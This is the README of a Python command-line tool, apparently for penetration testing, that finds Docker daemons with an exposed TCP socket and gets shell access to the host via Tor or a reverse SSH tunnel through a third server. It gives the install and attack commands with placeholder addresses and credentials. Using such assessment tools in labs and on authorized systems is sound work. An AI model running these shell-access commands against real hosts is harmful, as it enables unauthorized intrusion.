Surena

Surena is a tool developed to assess vulnerabilities in Docker daemons when their TCP socket is exposed to a network without paying attention to its security issues. It is developed using Click, a Python CLI library, and the Docker SDK for Python. Surena demonstrates how a hacker can gain shell access from an insecure Docker Host using two methods: Tor Network and SSH Reverse Tunneling. To understand more about how Surena works and how to use these methods, please refer to Medium article: article. The name Surena is derived from a Parthian(Iranian) spahbed from the first century BC. For further information, you can visit the Wikipedia page on Surena.

Installation

Surena can be installed from PyPI by running:

pip install surena

Once installed, Surena can be run using the following commands in your terminal. To view available commands and options, use:

surena --help

Using

Surena offers two commands: is-docker-host and get-docker-host. The is-docker-host command checks if the Docker daemon's TCP port is accessible from the network. To understand its options, run:

surena is-docker-host --help

For example, execute the command with these options:

surena is-docker-host --docker-host-address $DOCKER_HOST_IP --docker-host-port $DOCKER_HOST_PORT

The get-docker-host command is used to gain shell access from the Docker daemon using two methods. To understand its options, run:

surena get-docker-host --help

Please note, if Surena can gain shell access from the Docker host, it will create a text file named "WARNING.surena" in the "/root/" path of the Docker host. For example, to gain shell access using the Tor Network method, run this command with the following options:

surena get-docker-host --docker-host-address $DOCKER_HOST_IP --docker-host-port $DOCKER_HOST_PORT --access-method tor

To gain shell access using the Reverse SSH Tunneling method, run this command with the following options:

surena get-docker-host --docker-host-address $DOCKER_HOST_IP --docker-host-port $DOCKER_HOST_PORT --access-method reverse-ssh --ssh-server-address $THIRD_SERVER_IP --ssh-server-username $THIRD_SERVER_USERNAME --ssh-server-password $THIRD_SERVER_PASSWORD --ssh-server-port $THIRD_SERVER_SSH_PORT

Please note that in the remote SSH server or in the THIRD_SERVER_IP, which has already been mentioned, the "GatewayPorts" configuration in the sshd_config file located at /etc/ssh/sshd_config should be changed from GatewayPorts no to either GatewayPorts clientspecified or GatewayPorts yes to enable it.

Additionally, ensure to replace $DOCKER_HOST_IP, $DOCKER_HOST_PORT, $THIRD_SERVER_IP, $THIRD_SERVER_USERNAME, $THIRD_SERVER_PASSWORD, and $THIRD_SERVER_SSH_PORT with the appropriate values.

Warning

Surena is intended for lab use and to help you understand whether your Docker daemon is secure or insecure. PLEASE DO NOT USE SURENA FOR MALICIOUS ACTIVITIES.
